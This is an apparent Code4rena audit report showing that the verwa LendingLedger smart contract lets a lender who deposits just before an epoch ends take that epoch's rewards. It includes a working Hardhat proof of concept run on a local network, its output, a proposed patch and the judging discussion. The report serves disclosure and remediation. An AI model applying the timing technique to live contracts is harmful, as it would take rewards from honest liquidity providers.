The duration of liquidity provisioning should be taken into account when distributing rewards

[code423n4]

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L70-L73
https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L91-L94
https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L133-L142

Vulnerability details

Impact

The duration of liquidity provisioning is very important, and should be taken into account when distributing rewards. Otherwise, rewards can be susceptible to theft by malicious individuals.

LendingLedger only records total balance of each market, and balances of each user in this market. Those values are updated on every deposit / withdrawal by a user. An individual's earnings depend on the proportion of liquidity tokens they provide compared to the total market liquidity tokens.

        _checkpoint_lender(lendingMarket, _lender, type(uint256).max);
        uint256 currEpoch = (block.timestamp / WEEK) * WEEK;
        int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta;
        require(updatedLenderBalance >= 0, "Lender balance underflow"); // Sanity check performed here, but the market should ensure that this never happens
        lendingMarketBalances[lendingMarket][_lender][currEpoch] = uint256(updatedLenderBalance);

        _checkpoint_market(lendingMarket, type(uint256).max);
        int256 updatedMarketBalance = int256(lendingMarketTotalBalance[lendingMarket][currEpoch]) + _delta;
        require(updatedMarketBalance >= 0, "Market balance underflow"); // Sanity check performed here, but the market should ensure that this never happens
        lendingMarketTotalBalance[lendingMarket][currEpoch] = uint256(updatedMarketBalance);

If an individual provides liquidity at the beginning of an epoch but later withdraws it, their eventual provided liquidity becomes 0, resulting in no earnings. Conversely, if someone offers liquidity shortly before the end of an epoch and promptly withdraws it at the start of the next epoch, they will receive earnings.

Therefore, the measurement for calculating the eventual earnings should be based on the amount of tokens deposited by an individual multiplied by the duration of their deposit.

Proof of Concept

In the following example, let's assume that user1 deposited 100 tokens at the beginning of an epoch and withdrew all 100 tokens before the epoch ended. User2 deposited 100 tokens before the epoch ended and immediately withdrew 100 tokens at the start of the next epoch. The governance protocol distributed 100 CANTO tokens as staking rewards.

import { ethers } from "hardhat";
import { mine } from "@nomicfoundation/hardhat-network-helpers";

async function main() {

  const now = Math.floor(Date.now()/1000);
  const epoch1 = Math.floor(now/(7*24*3600))*(7*24*3600)
  const epoch2 = epoch1 + (7*24*3600)
  const epoch3 = epoch2 + (7*24*3600)

  const goto_epoch2_begin = epoch2 - now;

  // depoly contracts
  const [owner, governance, user1, user2, market] = await ethers.getSigners()

  const votingEscrow = await ethers.deployContract("VotingEscrow", ["Vote-escrowed CANTO", "veCANTO"])
  await votingEscrow.waitForDeployment()
  const gaugeController = await ethers.deployContract("GaugeController", [votingEscrow.target, governance.address])
  await gaugeController.waitForDeployment()
  const lendingLedger = await ethers.deployContract("LendingLedger", [gaugeController.target, governance.address])
  await lendingLedger.waitForDeployment()
  console.log(`VotingEscrow address: ${votingEscrow.target}`)
  console.log(`GaugeController address: ${gaugeController.target}`);
  console.log(`LendingLedger address: ${lendingLedger.target}`)

  // initialization
  let tx = await votingEscrow.createLock(1000000000, {value: 1000000000})
  await tx.wait()
  tx = await gaugeController.connect(governance).add_gauge(market.address)
  await tx.wait()
  tx = await lendingLedger.connect(governance).whiteListLendingMarket(market.address, true)
  await tx.wait()
  tx = await gaugeController.vote_for_gauge_weights(market.address, 10000)
  await tx.wait()

  // go to the beginning of epoch2
  mine(goto_epoch2_begin);

  // user1 adds liquidity
  tx = await lendingLedger.connect(market).sync_ledger(user1.address, 100)
  await tx.wait()

  // go to the end of epoch2 (100 seconds left)
  mine(7*24*3600 - 100);

  // user1 withdraws liquidity
  tx = await lendingLedger.connect(market).sync_ledger(user1.address, -100)
  await tx.wait()
  // user2 adds liquidity
  tx = await lendingLedger.connect(market).sync_ledger(user2.address, 100)
  await tx.wait()  

  // goto to the beginning of epoch3
  mine(100)

  // user2 withdraws liquidity
  tx = await lendingLedger.connect(market).sync_ledger(user2.address, -100)
  await tx.wait()    

  // governance adds rewards (100 CANTO)
  await governance.sendTransaction({to: lendingLedger.target, value: ethers.parseEther("100")});
  tx = await lendingLedger.connect(governance).setRewards(epoch2, epoch2, ethers.parseEther("100"))
  await tx.wait()

  let bal_user1 = await ethers.provider.getBalance(user1.address)
  let bal_user2 = await ethers.provider.getBalance(user2.address)
  console.log(`\nBefore claim, balance of user1 is ${ethers.formatEther(bal_user1)},  balance of user2 is: ${ethers.formatEther(bal_user2)}`)

  // claim rewards
  tx = await lendingLedger.connect(user1).claim(market.address, epoch2, epoch2)
  await tx.wait()
  tx = await lendingLedger.connect(user2).claim(market.address, epoch2, epoch2)
  await tx.wait()

  bal_user1 = await ethers.provider.getBalance(user1.address)
  bal_user2 = await ethers.provider.getBalance(user2.address)
  console.log(`After claim, balance of user1 is ${ethers.formatEther(bal_user1)},  balance of user2 is: ${ethers.formatEther(bal_user2)}\n`)

}

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

The code execution result shows that user2 received the full 100 CANTO reward tokens, while user1 did not receive any rewards. This outcome aligns with the explanation provided earlier. User2 received rewards because they maintained their liquidity provision until the epoch ended, even though they withdrew their tokens at the beginning of the next epoch. User1, on the other hand, withdrew their tokens before the epoch ended, resulting in a provided liquidity of 0 and no rewards being earned. This illustrates the significance of the liquidity provision duration in determining the distribution of rewards.

[nian@localhost hardhat]$ npx hardhat --network local run scripts/test.ts 
VotingEscrow address: 0x5FbDB2315678afecb367f032d93F642f64180aa3
GaugeController address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
LendingLedger address: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0

Before claim, balance of user1 is 10000.0,  balance of user2 is: 10000.0
After claim, balance of user1 is 9999.999957343036960448,  balance of user2 is: 10099.999951192353486904

Tools Used

Hardhat

Recommended Mitigation Steps

LendingLedger needs to calculate users' balances and the total balance in the market based on the tokens deposited and withdrawn by users, along with the corresponding time. The formulas for calculating user balance and total balance are as follows:

user_balance += _delta * (currEpoch + WEEK - block.timestamp)
total_balance += _delta * (currEpoch + WEEK - block.timestamp)

After calculating user balances and total balances, the tokens are distributed as rewards based on the proportion of each user's balance to the total balance. This allocation ensures that users are rewarded according to their contribution to the overall liquidity.

The complete patch is as follows (due to time constraints, this patch might not be perfect).

diff --git a/LendingLedger.sol.orig b/LendingLedger.sol
index 145a5b8..d702da9 100644
--- a/LendingLedger.sol.orig
+++ b/LendingLedger.sol
@@ -15,10 +15,14 @@ contract LendingLedger {
     mapping(address => bool) public lendingMarketWhitelist;
     /// @dev Lending Market => Lender => Epoch => Balance
     mapping(address => mapping(address => mapping(uint256 => uint256))) public lendingMarketBalances; // cNote balances of users within the lending markets, indexed by epoch
+    /// @dev Lending Market => Lender => Epoch => Token
+    mapping(address => mapping(address => mapping(uint256 => uint256))) public lendingMarketTokens;
     /// @dev Lending Market => Lender => Epoch
     mapping(address => mapping(address => uint256)) public lendingMarketBalancesEpoch; // Epoch when the last update happened
     /// @dev Lending Market => Epoch => Balance
     mapping(address => mapping(uint256 => uint256)) public lendingMarketTotalBalance; // Total balance locked within the market, i.e. sum of lendingMarketBalances for all
+    /// @dev Lending Market => Epoch => Token
+    mapping(address => mapping(uint256 => uint256)) public lendingMarketTotalToken;
     /// @dev Lending Market => Epoch
     mapping(address => uint256) public lendingMarketTotalBalanceEpoch; // Epoch when the last update happened
 
@@ -67,9 +71,10 @@ contract LendingLedger {
             lendingMarketBalancesEpoch[_market][_lender] = currEpoch;
         } else if (lastUserUpdateEpoch < currEpoch) {
             // Fill in potential gaps in the user balances history
-            uint256 lastUserBalance = lendingMarketBalances[_market][_lender][lastUserUpdateEpoch];
-            for (uint256 i = lastUserUpdateEpoch; i <= updateUntilEpoch; i += WEEK) {
-                lendingMarketBalances[_market][_lender][i] = lastUserBalance;
+            uint256 lastUserToken = lendingMarketTokens[_market][_lender][lastUserUpdateEpoch];
+            for (uint256 i = lastUserUpdateEpoch + WEEK; i <= updateUntilEpoch; i += WEEK) {
+                lendingMarketTokens[_market][_lender][i] = lastUserToken;
+                lendingMarketBalances[_market][_lender][i] = lastUserToken * WEEK;
             }
             if (updateUntilEpoch > lastUserUpdateEpoch) {
                 lendingMarketBalancesEpoch[_market][_lender] = updateUntilEpoch;
@@ -88,9 +93,10 @@ contract LendingLedger {
             lendingMarketTotalBalanceEpoch[_market] = currEpoch;
         } else if (lastMarketUpdateEpoch < currEpoch) {
             // Fill in potential gaps in the market total balances history
-            uint256 lastMarketBalance = lendingMarketTotalBalance[_market][lastMarketUpdateEpoch];
-            for (uint256 i = lastMarketUpdateEpoch; i <= updateUntilEpoch; i += WEEK) {
-                lendingMarketTotalBalance[_market][i] = lastMarketBalance;
+            uint256 lastMarketToken = lendingMarketTotalToken[_market][lastMarketUpdateEpoch];
+            for (uint256 i = lastMarketUpdateEpoch + WEEK; i <= updateUntilEpoch; i += WEEK) {
+                lendingMarketTotalToken[_market][i] = lastMarketToken;
+                lendingMarketTotalBalance[_market][i] = lastMarketToken * WEEK;
             }
             if (updateUntilEpoch > lastMarketUpdateEpoch) {
                 // Only update epoch when we actually checkpointed to avoid decreases
@@ -132,13 +138,17 @@ contract LendingLedger {
 
         _checkpoint_lender(lendingMarket, _lender, type(uint256).max);
         uint256 currEpoch = (block.timestamp / WEEK) * WEEK;
-        int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta;
-        require(updatedLenderBalance >= 0, "Lender balance underflow"); // Sanity check performed here, but the market should ensure that this never happens
+        int256 updatedLenderToken = int256(lendingMarketTokens[lendingMarket][_lender][currEpoch]) + _delta;
+        require(updatedLenderToken >= 0, "Lender balance underflow"); // Sanity check performed here, but the market should ensure that this never happens
+        int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta * int256(currEpoch + WEEK - block.timestamp);
+        lendingMarketTokens[lendingMarket][_lender][currEpoch] = uint256(updatedLenderToken);
         lendingMarketBalances[lendingMarket][_lender][currEpoch] = uint256(updatedLenderBalance);
 
         _checkpoint_market(lendingMarket, type(uint256).max);
-        int256 updatedMarketBalance = int256(lendingMarketTotalBalance[lendingMarket][currEpoch]) + _delta;
-        require(updatedMarketBalance >= 0, "Market balance underflow"); // Sanity check performed here, but the market should ensure that this never happens
+        int256 updatedMarketToken = int256(lendingMarketTotalToken[lendingMarket][currEpoch]) + _delta;
+        require(updatedMarketToken >= 0, "Market balance underflow"); // Sanity check performed here, but the market should ensure that this never happens
+        int256 updatedMarketBalance = int256(lendingMarketTotalBalance[lendingMarket][currEpoch]) + _delta *int256(currEpoch + WEEK - block.timestamp);
+        lendingMarketTotalToken[lendingMarket][currEpoch] = uint256(updatedMarketToken);
         lendingMarketTotalBalance[lendingMarket][currEpoch] = uint256(updatedMarketBalance);
     }

Running the PoC program again, the result is as follows.

[nian@localhost hardhat]$ npx hardhat --network run scripts/test.ts 
VotingEscrow address: 0x5FbDB2315678afecb367f032d93F642f64180aa3
GaugeController address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
LendingLedger address: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0

Before claim, balance of user1 is 10000.0,  balance of user2 is: 10000.0
After claim, balance of user1 is 10099.985067158588035002,  balance of user2 is: 10000.014832362580534349

Assessed type

Context

[c4-pre-sort]

141345 marked the issue as primary issue

[OpenCoreCH]

Valid finding, not sure if this will be a problem in practice as the lending markets will enforce / incentivize long lending periods (with various mechanisms that is up to them, e.g. dynamic interest rates, fees, bonuses, etc...) because these will be lending markets for real world assets (mortgages, bonds, etc...) which usually have a fixed duration and where people cannot just withdraw arbitrarily.

[c4-sponsor]

OpenCoreCH marked the issue as sponsor confirmed

[c4-judge]

alcueca changed the severity to 2 (Med Risk)

[c4-judge]

alcueca changed the severity to 3 (High Risk)

[c4-judge]

alcueca changed the severity to 2 (Med Risk)

[c4-judge]

alcueca changed the severity to 3 (High Risk)

[c4-judge]

alcueca marked the issue as selected for report

[c4-judge]

alcueca marked issue #416 as primary and marked this issue as a duplicate of 416

[c4-judge]

alcueca marked the issue as satisfactory